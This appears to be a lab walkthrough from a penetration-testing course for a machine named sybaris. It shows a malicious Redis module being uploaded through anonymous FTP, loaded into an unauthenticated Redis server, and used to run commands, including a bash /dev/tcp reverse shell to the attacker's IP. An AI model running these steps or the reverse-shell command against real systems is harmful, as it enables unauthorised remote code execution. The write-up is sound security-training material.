Malicious Redis Module


The target Redis instance doesn’t have any form of authentication, and is rather obsolete as its version is 5.0.9. This leaves it vulnerable to several exploits, including loading a malicious Redis module

A malicious Redis module has been compiled & prepared. Loading the payload will allow code execution on the target system under the security context of Redis process owner

No Direct Upload


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/sybaris/RedisModules-ExecuteCommand]
└─$ redis-cli -h $IP MODULE LOAD ./module.so                            
(error) ERR Error loading the extension. Please check the server logs.

Attempting to remotely load the malicious Redis module fails because Redis requires that the module file (.so) exists on the local filesystem of the Redis server.

FTP


I have confirmed that the target FTP instance allows anonymous access with both read and write privileges earlier. I could leverage that.

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/sybaris/RedisModules-ExecuteCommand]
└─$ ftp ftp@$IP
Connected to 192.168.185.93.
220 (vsFTPd 3.0.2)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd pub
250 Directory successfully changed.
ftp> binary
200 Switching to Binary mode.
ftp> put ./module.so 
local: ./module.so remote: ./module.so
229 Entering Extended Passive Mode (|||10091|).
150 Ok to send data.
100% |*******************************************************************************************| 47760        1.85 MiB/s    00:00 ETA
226 Transfer complete.
47760 bytes sent in 00:00 (508.08 KiB/s)
 
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/sybaris/RedisModules-ExecuteCommand]
└─$ curl -s -T ./module.so ftp://ftp:ftp@$IP/pub/

Uploading the malicious Redis module to the pub directory via FTP

FTP Location


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/sybaris]
└─$ redis-cli -h $IP MODULE LOAD /srv/ftp/pub/module.so
(error) ERR Error loading the extension. Please check the server logs.

By default, ftp operates under the /srv directory in most Linux distributions However, it doesn’t seem to be the case as the target system is CentOS

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/sybaris]
└─$ redis-cli -h $IP MODULE LOAD /var/ftp/pub/module.so
OK

The FTP location was under the /var directory. Successfully loaded the malicious Redis module

Confirmation


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/sybaris]
└─$ redis-cli -h $IP MODULE LIST                       
1) 1) "name"
   2) "system"
   3) "ver"
   4) (integer) 1

I can confirm that with the MODULE LIST command

Exploitation


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/sybaris]
└─$ redis-cli -h $IP system.exec "id"                                 
"uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)\n"

Code execution confirmed

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/sybaris]
└─$ redis-cli -h $IP system.exec 'bash -c "bash -i >& /dev/tcp/192.168.45.218/6379 0>&1"'

Sending a reverse shell command

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/sybaris]
└─$ nnc 6379
listening on [any] 6379 ...
connect to [192.168.45.218] from (UNKNOWN) [192.168.185.93] 34238
bash: no job control in this shell
[pablo@sybaris /]$ whoami
whoami
pablo
[pablo@sybaris /]$ hostname
hostname
sybaris
[pablo@sybaris /]$ ifconfig
ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.185.93  netmask 255.255.255.0  broadcast 192.168.185.255
        ether 00:50:56:9e:40:39  txqueuelen 1000  (Ethernet)
        RX packets 632  bytes 141727 (138.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 153  bytes 11563 (11.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 128  bytes 10368 (10.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 128  bytes 10368 (10.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target system as the pablo user via RCE from loading the malicious Redis module